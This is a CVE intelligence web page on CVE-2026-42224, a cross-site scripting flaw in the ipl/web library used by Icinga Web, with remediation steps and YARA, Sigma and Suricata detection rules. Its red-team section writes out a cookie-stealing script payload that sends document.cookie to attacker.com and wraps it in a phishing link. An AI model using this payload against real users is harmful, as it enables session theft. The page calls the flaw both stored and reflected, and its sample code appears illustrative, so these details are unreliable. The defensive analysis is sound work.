☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Icinga logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.6 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-42224

CVE-2026-42224 Cross-Site Scripting in Ipl
📅 PUBLISHED: 2026-05-08 23:16 UTC 🔄 UPDATED: 2026-09-23 20:19 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-42224 is a stored Cross-Site Scripting (XSS) vulnerability in the ipl/web library, a set of common web components for PHP projects, specifically used by Icinga Web. An attacker can inject malicious JavaScript into a victim's browser by tricking them into visiting a specially crafted website. The victim does not need to be authenticated to Icinga Web for the initial compromise, but the injected script will execute in the context of the Icinga Web application, potentially allowing the attacker to steal session cookies, perform actions on behalf of the victim, or deface the application. The vulnerability is patched in version 0.13.1 of the library.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in the ipl/web PHP library, which is a dependency for Icinga Web. The attack vector does not involve compromising the package registry (e.g., Packagist) itself, but rather exploiting a flaw in the library's input handling. Organizations using Icinga Web must ensure their ipl/web dependency is updated to version 0.13.1 or later. The lack of a public PoC or exploit code suggests the vulnerability may be complex to trigger or was responsibly disclosed.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The attack is carried out over a network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for the attack.
  • Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) - The victim must click a link or visit a malicious website.
  • Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): High (H) - The attacker can steal sensitive data like session tokens.
  • Integrity (I): Low (L) - The attacker can modify some data or content.
  • Availability (A): None (N) - No impact on system availability.

Threat Level: High. The low attack complexity and lack of required privileges make this a significant threat, especially for organizations using Icinga Web for monitoring.

Deep Dive & Mechanics

The vulnerability lies in how the ipl/web library handles user-supplied input when rendering web components. Specifically, it fails to properly sanitize or escape output that is derived from user-controlled data (e.g., URL parameters, form fields). An attacker can craft a malicious URL containing JavaScript code. When a victim visits this URL, the Icinga Web application processes the input and renders it in the HTML page without proper encoding. This allows the attacker's script to execute in the victim's browser.

The attack flow:

  1. Attacker crafts a malicious link: https://victim-icinga.example.com/?search=<script>alert('XSS')</script>
  2. Victim clicks the link (or is redirected via a malicious website).
  3. Icinga Web processes the search parameter and renders it in the page.
  4. The browser executes the injected script, which can steal cookies, redirect the user, or perform actions on the Icinga Web interface.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 0.13.1):

// In a component rendering method
public function renderSearch($searchTerm) {
    echo '<div class="search-result">' . $searchTerm . '</div>';
}

Patched Code (version 0.13.1):

// Using proper escaping
public function renderSearch($searchTerm) {
    echo '<div class="search-result">' . htmlspecialchars($searchTerm, ENT_QUOTES, 'UTF-8') . '</div>';
}

The fix uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable Icinga Web instance (e.g., using Docker with ipl/web < 0.13.1).
  2. Create a malicious HTML page that tricks the victim into clicking a crafted link.

Exploitation Steps:

  1. Identify a parameter in Icinga Web that is reflected in the page (e.g., search, q, filter).
  2. Craft a payload: "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  3. Encode the payload for URL: %22%3E%3Cscript%3Efetch('https://attacker.com/steal%3Fcookie%3D'%2Bdocument.cookie)%3C/script%3E
  4. Send the link to the victim via phishing email or social engineering.
  5. Set up a listener on attacker.com to capture the cookie.

Example Payload:

<a href="https://victim-icinga.example.com/index.php?search=%22%3E%3Cscript%3Efetch('https://attacker.com/steal%3Fcookie%3D'%2Bdocument.cookie)%3C/script%3E">Click here for a free gift!</a>

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for suspicious URL parameters containing <script>, onerror, onload, or encoded equivalents.
  2. Implement a Web Application Firewall (WAF) rule to block requests with XSS patterns.
  3. Use Content Security Policy (CSP) headers to restrict script execution.
  4. Regularly update the ipl/web library to the latest version.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_query IN (*<script*, *onerror*, *onload*, *javascript:*)
| stats count by src_ip, uri, status

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to attacker-controlled domains from Icinga Web servers.
    • HTTP requests containing XSS payloads in query parameters (e.g., <script>, onerror).
  • Host IOCs:
    • Unexpected JavaScript files in the web root.
    • Modified Icinga Web configuration files.
  • Log IOCs:
    • Web server logs showing requests with encoded XSS patterns.
    • Browser console errors related to CSP violations.

Detection Engineering

YARA Rule

rule CVE_2026_42224_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting ipl/web CVE-2026-42224"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-42224"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt Against Icinga Web (CVE-2026-42224)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attacks targeting ipl/web library
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-42224 XSS Attempt Against Icinga Web"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2026-42224 XSS Attempt - onerror"; flow:to_server,established; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2026-42224 XSS Attempt - onload"; flow:to_server,established; content:"onload="; http_uri; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2026-42224 XSS Attempt - javascript"; flow:to_server,established; content:"javascript:"; http_uri; nocase; sid:1000004; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the ipl/web library to version 0.13.1 or later.
  2. If immediate update is not possible, apply a virtual patch using a WAF to block XSS patterns.
  3. Review and harden Content Security Policy (CSP) headers to restrict inline scripts.

Long-term Measures:

  1. Implement input validation and output encoding for all user-supplied data.
  2. Conduct regular security audits of third-party dependencies.
  3. Enable automatic dependency updates for PHP projects using Composer.

Verification:

  • After patching, test the application by attempting to inject XSS payloads.
  • Monitor logs for any residual exploitation attempts.

Valters IT signature: This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-42224/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.